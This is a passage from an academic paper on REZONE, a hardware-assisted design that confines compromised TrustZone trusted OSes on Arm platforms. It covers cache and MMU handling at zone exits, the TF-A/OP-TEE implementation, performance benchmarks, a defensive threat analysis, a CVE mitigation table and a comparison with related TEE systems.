to prevent any accesses to the PPC by any bus master other
than the ACU itself. Once the ACU replies to the trampoline,
control can be safely handled over to the trusted OS.

5.4 Handling Exceptions at S.EL1 Exits

In contrast to zone entries, exiting a zone from S.EL1 to EL3
precludes steps A and B (see Figure 6). Flushing caches (A) is
not necessary, since we selectively invalidate monitor memory
in step F (explained below), thus preventing malicious cache
manipulation to gain code execution privileges. TLB main-
tenance (B) is not required because S.EL1 TLB entries only
affect S.EL1. However, we need special precautions in dealing
with exceptions from S.EL1. Two problems may arise:

1. TLB-miss: Upon entering the vector table to handle an
S.EL1 exception in EL3, if the TLB misses a page table entry
that maps to the memory region of the exception handler, then
the MMU must perform a page table walk. As the caches
have been flushed before entering S.EL1, this operation will
trigger an access to main memory to load the page table entry.
However, since the EL3 page tables are stored in the secure
monitor’s memory region, whose access by EL3 code is still
blocked by the PPC at this stage (recall only the trampoline

memory is marked read-only), the code for handling the ex-
ception cannot be loaded and the system will hang.

2. EL3 code injection from S.EL1: From 1) it follows that
the code on the EL3 vector table must be marked as read-only
by the PPC, allowing also the trusted OS to read the handler
code from memory. However, since the vector table code
will be cached in the L1/L2 caches, write operations are still
permitted to cache lines tagged as secure, as long as they do
not reach the main memory (note the PPC acts only at the bus
level). An attacker with S.EL1 privileges can use this feature
to modify the exception handler code to its advantage, e.g.,
by modifying the SMC handler, an SMC call can trigger the
secure monitor to load malware from the cache.

To solve both problems, we disable the MMU for EL3 code
(E in Figure 6). We do this in the last steps of exiting from
EL3 to S.EL1 when entering a zone. Note that this measure
only applies to the MMU for EL3 code: we do not disable the
MMU for S.EL1 code. This solves problem 1, as, from that
point on, memory accesses at EL3 will not be subject to MMU
translation; thus, no page table accesses are needed, and the
exception handler can then be executed. Disabling the MMU
will also disable L1 and L2 caches for EL3 address spaces, and
this will partially solve problem 2 as the exception handling
code will always be fetched from main memory. This memory
is protected read-only by the PPC, hence no modifications
will be possible; however, this solution does not entirely solve
the whole problem. Note that during the switch from EL3 to
S.EL1, after flushing all caches, the trampoline still executes
with caches enabled. This will inevitably leave some traces
of trampoline data and instructions in the caches, which a
malicious trusted OS can try to leverage for an attack by
modifying them locally while running in S.EL1 as described
above. To clean up potentially tampered cache content and
avoid these attacks, we invalidate on-cache trampoline-related
memory when the exception handler in EL3 is executed on
an S.EL1 exit (F in Figure 6). After this cache management
operation completes, the exception can be handled securely.

5.5 Software Implementation
The REZONE software is a firmware bundle based on TF-A
(v2.0). TF-A implements basic bootstrapping and secure mon-
itor functionality. We modified TF-A to incorporate the tram-
poline, encompassing 303 and 1220 SLOC of C and assembly
code, respectively. We also used the TF-A to bootstrap the
gatekeeper. The gatekeeper is implemented as a bare-metal
application that runs on the Cortex-M4. It was written in 417
SLOC of C code and packaged with essential drivers to inter-
face with the RDC. The system image was compiled with the
GNU Arm toolchain for the A-profile Architecture (v9.2.1)
and GNU Arm Embedded Toolchain (v9.3.1).

We also changed the TF-A’s context management routines
and data structures to support two zones, each running a
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trusted OS instance based on OP-TEE (v3.7.0). To run OP-
TEE inside a zone, no intrusive modifications were necessary;
we have disabled only the support for dynamic shared memory.
We create the second OP-TEE instance in a different address
space and updated the values of SMC IDs to be uniquely at-
tributed to each OP-TEE instance. We created two full-blown
stack builds featuring different REE: one running the Linux
kernel (5.4.24) and the second the Android OS (AOSP 10.0).
It was not necessary to modify REE code to support REZONE;
however, since we added support to run multiple trusted OSes,
we added drivers to interface with both of them. We also du-
plicated the OP-TEE Linux kernel driver and modified the
SMC_IDs used to make calls to the second OP-TEE instance.
There are two tee-supplicant services, one for each OP-TEE.

6 Performance Evaluation

We evaluated REZONE using the i.MX8 platform and soft-
ware described in §5. On the i.MX8 platform, all cores, i.e.,
the Cortex-A53 APU cluster (4x) and the Cortex-M4, were
running. Our performance evaluation covers three vectors:

1. Microbenchmarks. We evaluate the performance over-
heads at increasing levels of REE-TA interaction. Firstly, we
measure the world switch time, i.e. the time to transition from
normal world to the first instruction of the trusted OS. Sec-
ondly, we measure the round-trip execution time of the Glob-
alPlatform TEE Client API (v1.0), i.e., the standard API for
an REE application to interact with the TEE. We tested 9
APIs. Lastly, we gauge the execution time of OP-TEE xtest,
a suite of regression tests provided by OP-TEE to verify the
correct implementation of the trusted OS and related APIs.
The suite has a total of 95 tests, grouped into nine groups. The
suite also has seven benchmarks to assess the performance of
cryptographic- and storage-related operations.

2. Real-world applications. We evaluated two TAs: a Bitcoin
wallet and a DRM player service. The open-source Bitcoin
wallet TA [29] provides services, e.g., for creation and dele-
tion of a master key, access the mnemonic for a master key,
sign a transaction, and get the address of the wallet. The DRM
player service is implemented with the open-source OP-TEE
Clearkey plugin [36] and the media player ExoPlayer [24].
This service approximates to a security level 2 (L2) DRM
compatible setup [41], where video content is split into sub-
samples and decrypted within the TEE, but processed in the
normal world. The L2 DRM setup represents the worst-case
scenario for performance since the process is split among the
two worlds. We measured the (i) execution time for decrypt-
ing one subsample for three different resolutions and frame
rates and (ii) the time elapsed between decoded content.

3. Impact on REE performance. We used PCMark for An-
droid benchmark (v3.0), which assesses the performance of
smartphones by testing everyday activities. The suite consists
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Figure 7: REZONE overhead, time, and normalized standard
deviation (coefficient of variance) of GlobalPlatform API.

of five real applications (e.g., web browsing, data and video
editing) and it does not invoke secure world functionality.
The benchmark provides an overall score (Work 3.0) translat-
ing the performance of the whole system into a quantifiable
scoring system: a higher score indicating better performance.

Methodology. To measure world switch time, we used the
AArch64 generic timer, a 64-bit cycle counter running at
8.33MHz. For the GlobalPlatform API and xtest suite, we
used the Linux time API with the CLOCK_REALTIME pa-
rameter enabled. For the Bitcoin wallet, we used the Linux
time utility. For DRM service, we used (i) the Linux time
API for the subsamples decryption and (ii) the Java Sys-
tem.nanoTime for the processing. Excepting world switch
measurements, for all other experiments, we compare three
system configurations: (i) standard OP-TEE deployment (No
RZ); (ii) REZONE deployment (RZ); and (iii) REZONE de-
ployment with no trusted OS preemption from the REE (RZ
no IRQ). We collected 1000 samples and present the average
of values within the 95th percentile, which removes the ef-
fect of occasional Linux interference. For microbenchmarks,
we flush the caches at the end of each test. This reduces the
hot-cache effect of the previous iteration and approximates a
realistic TEE setup.

6.1 Microbenchmarks
We identified two main factors impacting the performance
overhead, i.e., (i) the number of trusted OS calls and (ii) the
complexity/duration of the operation running in the secure
world (mainly the logic of the TA). Workloads encompassing
simple TA operations/logic with a higher number of world
switches will translate into significant performance overhead.
In contrast, workloads encompassing complex TA operations
with small number of world switches will translate into negli-
gible performance overhead. Multiple zones support has also
a negligible impact on the overall performance of the system.

World switch time. The world switch time increased from an
average of 5.7±0.33% to 72.5±1.7% microseconds, i.e., 13×.
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Figure 8: Geometric mean of REZONE overhead for xtest. Benchmarks (left) and unit tests (right).

This increase is the cumulative penalty of (i) additional RE-
ZONE trampoline and gatekeeper execution time, (ii) cluster-
microcontroller requests, (iii) penalty of running a portion of
the trampoline with caches disabled, and (iv) time of cache
maintenance operations. Despite the high overhead of raw
world switches, they often translate into relatively small slow-
downs in real-world TEE usage scenarios (see §6.2).

GlobalPlatform API. Figure 7 presents our main results. The
geometric mean of the normalized performance overhead for
the nine API benchmarks is 2.327×, i.e., a significant decrease
compared to the 13× overhead from the world switch. We can
observe that the three APIs (i.e., OpenSession, InvokeCom-
mand, and CloseSession) that explicitly call the secure world
have a larger penalty, ranging from 2.25× to 4.79×. The In-
vokeCommand and CloseSession APIs are the ones that take
less time to execute, and thus the ones with the bigger over-
head, due to the over-penalty of cache-related operations (see
xtest evaluation). Third, from the remaining six APIs, two
have almost no penalty. This fact is related to the OP-TEE
configuration which disables dynamic shared memory. With
this option, Allocate and Register API implementations are
identical. While calling these APIs, there is no switch to the
secure world. Therefore, after the execution of Allocate and
ReleaseAllocatedSharedMemory, code and data are already
cached for the Register and ReleaseRegisteredSharedMemory
calls. Lastly, we can observe that the system configuration
without preemption (RZ No IRQ) slightly decreases the over-
head, reducing the geometric mean from 2.327× to 2.325×.

xtest suite. Figure 8 summarizes our results, represented by
the geometric mean of all tests for the same group. Unit tests
are represented in nine groups on the left, while benchmarks
are represented in three groups on the right. A detailed view
of the results per test/benchmark can also be found in the sup-
plementary material published online [15]. The group of tests
that has a bigger impact is the TEE Internal API and Global
Platform API, i.e., 2.97× and 3.40×, respectively. Note that
this group of tests are the ones with smaller execution times

and simpler secure world operations. On the other hand, tests
such as mbed TLS and key derivation perform fewer but
longer operations in the secure world. Since the execution
time of the operations performed in the secure world is large,
the performance overhead is relatively lower when compared
to the TEE API groups. To complete, we tested a potential
application-level optimization. Specifically, we modified one
particular unit test (4007 symmetric) which consists of per-
forming different symmetric encryption schemes (e.g., AES,
DES) for incremental key sizes (e.g., 64-, 128-bit). The stan-
dard implementation has a total of 3884 secure world calls
per run. We modified the implementation to perform all itera-
tions in a single TA call. By simply batching all operations
and processing them in a one-time operation, we reduced the
number of calls to the secure world to 96 and were able to
decrease the performance overhead from 3.65× to 1.09×.

Multiple zones penalty. To assess the performance penalty
of supporting multiple zones, we built two specific test cases
using xtest. The main difference, implementation-wise, to
schedule a different zone, is the extra operation required to
invalidate the TLB. Thus, in the first experiment, we measured
the execution time of running xtest 4001 on trusted OS2, while
previously running also trusted OS2. For the second test, we
measured the execution time of running xtest 4001 on trusted
OS2, while previously running trusted OS1. For the former, it
takes, on average, 76.3ms to complete. For the latter, it takes,
on average, 78.0ms to complete, i.e., a 1.7ms (2.2%) increase.

6.2 Real-world Applications

Our findings suggest that REZONE will not significantly affect
the user experience in real-world applications.

In the case of the Bitcoin wallet, the geometric mean of the
performance overhead is 1.49× for the vanilla REZONE im-
plementation and 1.46× for a non-preemptible configuration
(Figure 9). The most impacted wallet services are related to
simple one-time operations. For instance, the absolute exe-
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Figure 9: Relative, absolute execution time, and normalized
standard deviation (over 100 runs) for Bitcoin wallet.
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Figure 10: Performance overhead, execution time, and nor-
malized standard deviation (over N runs) for DRM subsample
decryption (left) and processing (right). N=1000, 1000, 400,
for 1080@24, 1080@60, 360@30 setups, respectively.

cution time of the operation checking if a master key exists
is considerably smaller (11.8ms for the standard OP-TEE
deployment) than the other services, and thus the penalty is
higher. Notwithstanding, the results clearly demonstrate that
the impact of REZONE in longer time-consuming operations,
e.g., Bitcoin sign transaction (the one likely to be executed
more frequently) is low (1.34×) and one order of magnitude
smaller than the overhead observed in the raw world switch.

Regarding the DRM player, Figure 10 plots our results.
Overall, the geometric mean of the normalized performance
overhead for the DRM subsample decryption is 1.59×. For
instance, Figure 10 (left) shows that the performance penalty
of individual subsample decryption for 1920x1080@60 added
by REZONE (red bar) in comparison to the bare TrustZone
setup (blue bar) is 1.59×. This operation is performed every
time the secure world is invoked to decrypt a single subsample
and return to normal world. These per-subsample overheads
tend to be dwarfed when we consider the total processing
time that it takes to render a video (Figure 10, right). In this
case, computing the time overheads for all configurations
gives time increases of 0.2%, 0.4%, and 7.7%, respectively,
for 24, 30, and 60 frames per second. The higher the frame,
the higher the overhead due to the larger number of trusted OS
calls and the smaller duration of secure operations (smaller
subsample size). Second, the REZONE configuration without
preemption (RZ No IRQ) slightly improves the performance

Interval (ms) Score Penalty

10 4369 12.97%
100 4776 4.86%

1000 4983 0.74%

# of Cores Score Penalty

1 4983 0.74%
2 4938 1.63%
4 4833 3.73%

Table 2: Impact of REZONE on the PCMark performance
score assessing the REE. On the left, the impact of decreasing
the interval between calls for one core. On the right, the effect
of issuing TA calls (1000 ms intervals) with multiple cores.

of the decryption process, reducing the geometric mean of
the normalized performance overhead to 1.52×. This benefit
is also noticeable in the processing of the decoded frames
and the rendering of the final image (Figure 10, right). Third,
although there is a slowdown in decryption, this penalty is in
the order of 100 µseconds. Hence, it is not noticeable in the
playback of the video and does not impact the user experience.

6.3 Impact on the REE Performance
We observed that the performance impact from REZONE on
the REE is low, even when stressing secure world calls and
the number of parallel calls from concurrent CPUs. We config-
ured the REE to run PCMark (in the quad-core configuration),
while concurrently running a toy TA at different intervals
(10, 100, and 1000 ms). TA performs a simple addition and
returns to normal world. We compared with a setup running
vanilla OP-TEE and without calling the TA while running PC-
Mark. Table 2, on the left, presents the results. For reasonable
intervals between the toy TA calls (1000 and 100), the perfor-
mance penalty is low, 0.74% to 4.86%, respectively. When
the interval is 10 ms (similar to a DRM workload), the impact
is reasonable (12.97%) and in the order of magnitude as the
ones presented in §6.2. To understand the impact on REE for
having multiple CPUs issuing concurrent TA calls, we fixed
the interval rate of calling the toy TA in 1000ms. Table 2, on
the right, shows that the impact is low and proportional to
the number of concurrent cores, achieving the largest penalty
(3.73%) when the four cores are issuing concurrent TA calls.

Memory usage. Given that REZONE needs to reserve mem-
ory for the secure monitor and for allocating zones where
trusted OS stacks will be deployed, less memory becomes
available to the REE. In our experiments, the secure monitor
requires 192KB of memory, and the default OP-TEE configu-
ration that we use for initializing a single zone requires only
32MB. We used this OP-TEE configuration for all our tests,
including running the Bitcoin wallet and DRM player (see
§6.2). Considering that our platform features 4GB of RAM,
this means that the memory footprint of REZONE for host-
ing a single trusted OS is residual. Naturally, the amount of
reserved memory can be increased in order to accommodate
i) single trusted OS setups where TAs have higher memory
demands, or ii) multiple trusted OS stacks enclosed inside
independent zones.
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7 Security Evaluation

7.1 Theoretical Security Analysis
To evaluate the security of REZONE, we first provide a the-
oretical assessment of how our system enforces the security
properties P1-3 stated in §3. We discuss the main attacks that
may be attempted to subvert said properties and highlight
REZONE’s mechanisms responsible for thwarting them:

A1. Direct memory mapping violations. As described in
§2.2, an attacker controlling the trusted OS running in S.EL1
of a given zone, may attempt to directly map unauthorized
memory regions pertaining to monitor, other zones, or normal
world. We prevent these attacks using a PPC to restrict access
to memory resources depending on whether a zone is execut-
ing (see Figure 5). To protect the normal world, we further
need to overcome some limitations of the PPC (see §4.3) by
having only one active core in the cluster while executing a
zone, and performing cross-core synchronization (see §5.1).

A2. PPC hijacking. The adversary may attempt to circum-
vent these restrictions by controlling the PPC and disabling
memory protections through reconfiguration of PPC’s permis-
sions. To prevent this attack, we ensure that only the tram-
poline can access the PPC by requiring the trampoline to
authenticate itself before using the PPC (see §5.3). This au-
thentication involves a shared secret token established at boot
time. A malicious zone can submit a request to unlock the
PPC; however, an attacker has a 1 in 264 chance of guessing
the token correctly.

A3. Unintended cache data leakage. Instead of trying to
compromise the PPC through trampoline impersonation, the
attacker may leverage cached data to gain access to the secret
token. To mitigate this attack, we make sure that the token is
only accessible to EL3. This is guaranteed by: i) flushing the
token from the caches, ii) having the PPC deny access to the
token, and iii) storing the secret token in an exclusive EL3
register while a zone is executing, to allow the trampoline to
authenticate itself after a zone exits. The adversary may also
leverage cached data to access other memory content from
monitor, other zones, or normal world. We perform cache
flushes thus evicting sensitive cached data. Memory accesses
will then result in direct accesses to main memory, which the
PPC can control and block in case of permission violations.

A4. Cache code injection. The attacker can try to bypass the
protections described above by tampering with the trampoline
at runtime. Although direct access to monitor or gatekeeper
memory is not possible, he may try to inject code into the
trampoline by leveraging the fact that the PPC does not per-
form access control at cache level (see §5.4). To prevent this
attack, we disable the MMU for EL3 before entering a zone,
thus preventing the trampoline from fetching maliciously ma-
nipulated code, and data from being fetched upon a zone exit,
allowing the trampoline to sanitize data before continuing.

CVE C CVE C CVE C CVE C
2014-9979 TO X 2017-11011 TO X 2015-9000 TA X 2015-8997 TO/TA X
2015-8999 TO X 2017-14912 TO X 2015-9002 TA X 2015-8998 TO/TA X
2015-9070 TO X 2017-14916 TO X 2015-9162 TA X 2015-9005 TO/TA X
2015-9071 TO X 2017-14917 TO X 2015-9174 TA X 2015-9007 TO/TA X
2015-9072 TO X 2017-17176 TO X 2015-9183 TA X 2016-2432 TO/TA X
2015-9073 TO X 2017-18071 TO X 2017-6293 TA X 2016-10297 TO/TA X
2015-9108 TO X 2017-18128 TO — 2017-18310 TA — 2017-6289 TO/TA X
2015-9112 TO X 2017-18129 TO X 2017-18312 TA ? 2017-14913 TO/TA X
2015-9113 TO X 2017-18132 TO X 2017-18317 TA ? 2017-18293 TO/TA X
2015-9198 TO X 2017-18133 TO X 2018-5210 TA X 2017-18296 TO/TA ?
2015-9199 TO — 2017-18311 TO X 2018-5885 TA X 2017-18297 TO/TA X
2015-9200 TO X 2017-18314 TO ? 2014-9932 TO/TA X 2017-18298 TO/TA X
2016-2431 TO X 2017-18315 TO X 2014-9935 TO/TA X 2018-5866 TO/TA X
2016-10238 TO X 2018-3588 TO X 2014-9936 TO/TA X 2017-18282 HW —
2016-10432 TO X 2018-5870 TO X 2014-9937 TO/TA X 2015-9003 CI —
2017-6290 TO X 2016-10239 TO X 2014-9945 TO/TA X 2016-10398 CI —
2017-6292 TO X 2018-11950 TO X 2014-9948 TO/TA X 2017-14907 CI —
2017-6294 TO X 2015-4422 TA X 2014-9949 TO/TA X 2017-18146 CI —
2017-8274 TO X 2015-6639 TA X 2015-8995 TO/TA X 2016-10458 BL —

2017-11010 TO X 2015-6647 TA X 2015-8996 TO/TA X 2017-14911 BL —

In Scope? TO/TA TO TA HW CI BL Total Percentage
Y 21 34 11 66 86.84%
N 2 1 1 4 2 10 13.16%

Total 21 36 12 1 4 2 76

Table 3: Mitigation analysis of selected CVEs with critical
CVSS scores: CVEs in scope (X), out of scope (—), insuffi-
cient information (?).

A5. TCB tampering. Lastly, the adversary may try to disable
the protections described above by tampering with REZONE’s
TCB, i.e., monitor, gatekeeper, and trampoline, before the
system bootstraps, e.g., by replacing a legitimate binary image
with another one. Secure boot prevents this attack by aborting
the system boot sequence if firmware integrity checks fail.

7.2 CVE Mitigation Analysis
Lastly, beyond our theoretical security assessment, we aim to
study how deploying REZONE in real-world systems could
help mitigate privilege escalation attacks resulting from the
exploitation of vulnerabilities located in TEEs. As part of this
study, we leverage the database of TEE-related CVEs from
our previous work [11]. We then analyzed 80 CVEs reported
as critical and grouped them according to the affected compo-
nent: trusted OS (TO), trusted application (TA), cryptographic
implementation (CI), hardware issue (HW), and bootloader
(BL). CVEs that do not clearly identify the vulnerable com-
ponent (i.e., trusted OS or TA) are labeled as TO/TA. We
excluded four CVEs that lack enough information about the
affected component. Table 3 summarizes our analysis.

Mitigation of attacks in scope. In total, we identified 66
CVEs that are in scope. These refer to vulnerabilities af-
fecting the trusted OS or trusted applications that have the
potential to be successfully exploited and may lead to privi-
lege escalation attacks as indicated in Figure 1. In all these
cases, REZONE can help counter successful exploits of these
bugs by sandboxing the trusted OS inside a zone and prevent-
ing privilege escalation into normal world, secure monitor,
or other TAs. In some cases, the attacker may be originally
driven by a slightly different goal. For instance, CVE-2018-
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Security
(Can defend against)

Scalability
(Does not depend on)

Programming
(Unmod. code)

Performance
(Sources of overhead)

TCB
(Subcomponents and total size)

Enclave
Type System

TOS→NW
(P1)

TOS→Mon
(P2)

TOS1→TOS2
(P3) PPC ACU

Non-COTS
Features Runtime API S2-TLB

Micro. Arch.
Maintanance

Trap &
Emul. Monitor Trusted OS

Other
SLOC

Total
kSLOC

NW

PrivateZone [30] — — — #   # # # #  TF-A+ OPTEE - 259.9
OSP [12] — — — #   # # # #  TF-A+ OPTEE OSP Hyp 255.5
vTZ [28] — — — #     #  # Custom - - 2.0

Sanctuary [10] — — —   # # #  #  TF-A+ OPTEE+ TA 2x 256.0
TrustICE [55] — — —    # #  #  TF-A+ OPTEE - 255.0

SW
TEEv [35] G# G# G#    #    # TF-A+ - TEE-Visor 28.8
PrOS [32] G# G# G# #   #    # TF-A+ - PVisor 27.6

REZONE    # #     #  TF-A+ - gatekeeper 30.0

Table 4: Analysis of REZONE and similar systems:  indicates that the system fares positively, # that it fares negatively.

5210 describes a vulnerability that allows an attacker to gain
TEE privilege execution, which leads to retrieving device un-
locking information at the TA level. This can then be used
to obtain the device unlocking code. We consider this vul-
nerability sandboxed because an attacker cannot affect other
system components.

CVEs out of scope. In ten cases, CVEs refer to vulnerabili-
ties that fall outside REZONE’s scope, and therefore our sys-
tem offers limited defenses. CVE-2015-9199 only affects
specifically shared memory regions. In CVE-2017-18310, a
TA exposes too many services to the normal world, which
may allow the normal world to perform abusive actions. RE-
ZONE is not meant to control which operations are available
to the normal world. CVE-2017-18128 reports a bug in the
configuration of a hardware component that can expose se-
cret information. REZONE is not designed to not prevent the
trusted OS from exposing secrets, e.g., to the normal world.
In CVE-2017-18282, a hardware bug allows the normal world
to perform secure data accesses; REZONE does not protect
against hardware bugs. Cryptographic-related vulnerabilities
such as CVE-2017-14911 are out of scope. REZONE relies
on the correct implementation of cryptographic primitives
and schemes. Bootloader-related vulnerabilities, CVE-2016-
10458 for example, are also out of scope. REZONE relies on
the platform’s secure boot to correctly initialize the system.

8 REZONE in Perspective

8.1 REZONE and Related Systems

In this section, we put REZONE in perspective with closely
related research on TrustZone-aware TEE systems. We sur-
veyed seven representative projects that have been designed to
improve the security of TEEs along different (and sometimes
complementary) dimensions. Next, we provide an overview
of these systems and then compare them with REZONE ac-
cording to five distinct criteria. Table 4 guides our discussion.

Related TrustZone-aware TEE systems. One class of solu-
tions aims to provide normal world enclaves using virtual-
ization. Notable examples include vTZ [28], OSP [12], Pri-

vateZone [30] which leverage normal world’s virtualization
extensions (NS.EL2) to create isolated environments in nor-
mal world. While vTZ virtualizes the full TrustZone hardware
(enabling the execution of full-fledged trusted OSes in the
normal world), OSP and PrivateZone provide a custom run-
time environment per TA. Other systems like Sanctuary [10]
and TrustICE [55] provide normal world enclaves using the
TZASC. They rely on monitor and trusted OS to dynami-
cally program the TZASC and create normal world enclaves
isolated from the REE. A third class of systems aims to cre-
ate software-enforced secure world enclaves. For instance,
TEEv [35] and PrOS [32] aim to support multiple TEE stacks
on Arm platforms where S.EL2 is not available. These so-
lutions rely on a “hypervisor” running in S.EL1 (TEEv) or
EL3 (PrOS) and perform binary instrumentation of the trusted
OSes running in S.EL1 to guarantee isolation. In our work,
we introduce a fourth category of systems aimed at creat-
ing hardware-enforced secure world enclaves. By relying on
PPC/ACU hardware, REZONE creates secure world enclaves
(i.e., zones) to effectively restrict S.EL1 privileges.

Security. To better understand the security properties offered
by REZONE, we consider the threat model defined in §3. As-
suming that an attacker manages to hijack the trusted OS run-
ning in S.EL1, we intend to analyze if the studied systems can
prevent further privilege escalation attacks to normal world
(P1), secure monitor (P2), or other trusted OSes (P3). For sys-
tems that create normal world enclaves, given that the trusted
OS hosted by an enclave runs in NS.EL1 (not S.EL1), these at-
tacks are out of scope. Focusing on systems designed to create
secure world enclaves, TEEv and PrOS rely on same privi-
lege isolation techniques (binary instrumentation) to shield
trusted OS instances running in S.EL1. Although these sys-
tems can offer protection against said attacks, they require
substantial manual engineering effort or the employment of
binary instrumentation tools for removing privileged memory
instructions from the trusted OS. In contrast, REZONE offers
similar protections without the need to re-engineer existing
trusted OSes, being able to secure unmodified TEE stacks.

Scalability. By scalability we mean to identify important de-
ployability barriers on real-world platforms. We base our anal-
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ysis on assessing system dependencies on specific hardware
components, namely: PPC, ACU, or hardware unavailable on
COTS platforms. The fewer these dependencies, the better
a solution can scale. Most systems, including REZONE, de-
pend on some PPC-like component, e.g., SMMU, to restrict
accesses from system bus masters. REZONE also depends on
an ACU. Sanctuary precludes PPC or ACU, but relies on the
unrealistic assumption that the core ID is propagated to the
bus, i.e., this solution is not practical for real-world platforms.

Programming overheads. TrustZone-aware TEE systems
may require modifications to standard TEE APIs (e.g., Global
Platform) and/or runtime components, i.e., trusted OS and
normal world software. Some systems require modifications
of trusted OS [10,35] or normal world hypervisor [28], or im-
plementation of custom drivers [10,12,30,32,55]. Conversely,
REZONE requires no modifications to TEE APIs or runtime,
being able to function with existing TEE/REE stacks.

Performance overheads. Given the heterogeneity of the stud-
ied solutions (e.g., target different hardware) and the lack of
standardized benchmarks for TrustZone-aware systems, it is
difficult to quantitatively compare the performance of these
systems. Alternatively, we conducted a qualitative analysis by
identifying three types of expensive sources of overhead: TLB
misses due to using stage-2 virtualization (S2-TLB), micro-
architectural maintenance operations, and trap and emulation.
REZONE does not leverage any hardware virtualization sup-
port and does not require trap and emulation. However, it
relies on micro-architectural maintenance operations which
may sensibly impact the system performance.

Trusted computing base. Different systems depend on vari-
ous software components to function properly and enforce the
security properties for which they were originally designed.
In Table 4, we identify the components that pertain to the TCB
of each system and indicate their respective sizes. We collect
this information from the original papers and added reference
sizes for TF-A (24,607 SLOC) and OP-TEE (230,094 SLOC).
SLOC values were computed using the SLOCCount tool.
Modifications to software are marked with “+”. In REZONE,
the TCB covers a TF-A version that includes the trampoline
(1,523 SLOC) and the gatekeeper (3,822 SLOC). REZONE
features a TCB size of about 30 kSLOC that approximates
the TCB size of systems that achieve comparable security
goals, i.e., TEEv and PrOS. Given that REZONE’s gatekeeper
leverages readily available board support package (BSP) code,
we foresee that an optimized assembly implementation would
reduce gatekeeper’s size to just a few hundred SLOC.

8.2 REZONE and Armv8.4 S.EL2
So far, we have discussed how REZONE can reduce the excess
of privileges of S.EL1 on Armv8-A platforms prior to the
Armv8.4 release. In this specific release, Arm introduced
hardware virtualization in the secure world, by extending the

hardware architecture with S.EL2, i.e., a new protection mode
for hosting a secure hypervisor. Sitting on top of the secure
monitor, the secure hypervisor virtualizes the TEE stack by
allowing multiple TEE instances to run in isolation. This
means that, from releases Armv8.4 onward, S.EL2 seems to
provide an alternative solution to implement REZONE’s zones
without the need for extra hardware components – PPC and
ACU. By hosting TEE stacks inside independent guest virtual
machines (VMs), S.EL2 apparently offers similar security
properties as REZONE’s preventing a compromised trusted
OS from escaping its VM, therefore protecting normal world
(P1), secure monitor (P2), and other TEE instances (P3).

However, despite the introduction of S.EL2, a fundamental
violation of the principle of the least privilege still persists:
the secure hypervisor has unlimited privileges to arbitrarily
map memory regions into the S.EL2 address space – includ-
ing memory pertaining to monitor and normal world. As a
result, if an attacker manages to exploit a bug in the secure
hypervisor and run code at S.EL2, Armv8.4 offers no defense
mechanism that can further prevent the attacker from vio-
lating all properties P1-3 and controlling the entire system.
Hijacking the secure hypervisor in such a way is not unrealis-
tic given its relative complexity. For instance, we computed
the TCB size of Hafnium [56], Arm’s reference implementa-
tion for the secure hypervisor, and it features over 20 KSLoC.
REZONE can still be leveraged in this setting to isolate the
secure hypervisor thus fully guaranteeing P1 and P2. From
a technical point of view, repurposing REZONE should not
require major challenges. REZONE’s trampoline can even be
simplified as it only needs to shield a single S.EL2 component
(akin to a single zone) and interpose context-switch events.

8.3 REZONE and Armv9 CCA

In Q2 2021, Arm introduced the Confidential Computing
Architecture (CCA) whereby Armv9 CPUs are augmented
with a so-called Real Management Extension (RME) [51].
RME allows ordinary software developers to instantiate a
new type of isolation environments named realms where they
can run application code. To support realms, RME extends the
TrustZone architecture with two additional worlds: root world
and realm world. The root world is exclusively dedicated
to EL3 and it hosts the secure monitor. The realm world
corresponds to a second independent instance of the secure
world which is now dedicated to hosting realms. Realm world,
secure world, and normal world can run code in EL0, EL1,
and EL2 protection modes. In the realm world, EL2 can house
a realm manager – equivalent to secure hypervisor – which in
turn can instantiate multiple realms – i.e., confidential VMs.

Compared to Armv8, CCA introduces important security
improvements. For one, the root world prevents access to
EL3 memory from any other world. This architectural change
effectively solves the excess of privileges of Armv8’s S.EL2
or S.EL1 by preventing a compromised secure hypervisor
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or trusted OS from hijacking the secure monitor, therefore
enforcing P2. Similar to Armv8, CCA can also guarantee P3
given that S.EL2 can virtualize S.EL1.

Notwithstanding, the normal world can arbitrarily be ac-
cessed by S.EL2 in secure or realm worlds. This excess of
privileges opens the door for P1 violations due to a com-
promised realm manager or secure hypervisor. Given CCA’s
early stage, it is premature to make a definitive assessment of
this technology. Nevertheless, our preliminary analysis leads
us to infer that REZONE may be sided with RME to further
protect the normal world. Moreover, given that RME is an op-
tional feature starting only from Armv9.2 [8], it is not yet clear
how widely OEMs will adopt RME. As of early 2022, the
only announced SoCs with Armv9 CPUs feature Armv9.0 [2],
which omit RME. Without RME, CPUs lack root world pro-
tection for EL3 [7] thus having the same security limitations
of Armv8.4 CPUs, which may justify deploying REZONE.

8.4 Discussion

REZONE limitations and optimizations. REZONE, has two
central limitations. First (a), since the core ID is not prop-
agated to the bus, only a single TA can simultaneously run
per cluster (see §4.3), which may limit TA concurrency and
occasionally increase TA response time. Second (b), frequent
invocation of (small duration) TAs may lead to non-negligible
performance overheads due to numerous world-switch calls.
To improve (a), we propose to enforce a fair-cluster schedul-
ing policy, which balances TA execution across clusters. Since
multi-core platforms typically provide multi-cluster configu-
rations (e.g., Qualcomm 8 series SoCs since 2016 [49, 50]),
this optimization allows concurrently running as many TAs
as the available clusters. To improve (b), we suggest batching
requests from the rich OS and serving each batch through a
single secure world call. This approach reduces the number
of world transitions, and consequently the number and impact
of REZONE’s microarchitectural maintenance operations.

Effects of REZONE’s appropriation of PPC/ACU. We de-
duce that REZONE can leverage a platform’s PPC and ACU
without jeopardizing the utilization of these components for
their original purposes and legacy use cases. In particular,
PPC/ACU can be shared, e.g., using a spare security domain
in the PPC or enabling the co-existence of the gatekeeper
code with other critical or non-critical functionalities already
embedded in the ACU. Numerous works in the literature
provide strong isolation for software running in microcon-
trollers [25, 31, 33, 42, 43]. Modern low-end TEEs such as
MultiZone [43] leverage minimal hardware primitives ready-
available in almost all Arm Cortex-M microcontrollers to
provide high-performing, robust, and lightweight enclaves.

Coexistence between PPC/ACU and TZASC. In our cur-
rent design, REZONE still leverages the TZASC to protect the
secure world from normal world accesses, such as in vanilla

TrustZone deployments. Without the TZASC, CPU accesses
cannot be differentiated from secure and non-secure. Thus, to
protect the normal world, REZONE would need to perform
additional expensive operations (e.g., cross-core synchroniza-
tion, cluster suspension, cache maintenance operations, etc),
with an extra restriction on lack of concurrency with the mon-
itor. A notable exception is TLB maintenance, which would
not be necessary given the existence of independent TLB
entries for the normal world (that are not shared). In sum-
mary, leveraging the TZASC in tandem with the PPC/ACU
improves performance while providing security guarantees
between normal world and zones.

Using Arm SMMU as REZONE’s PPC. To leverage an
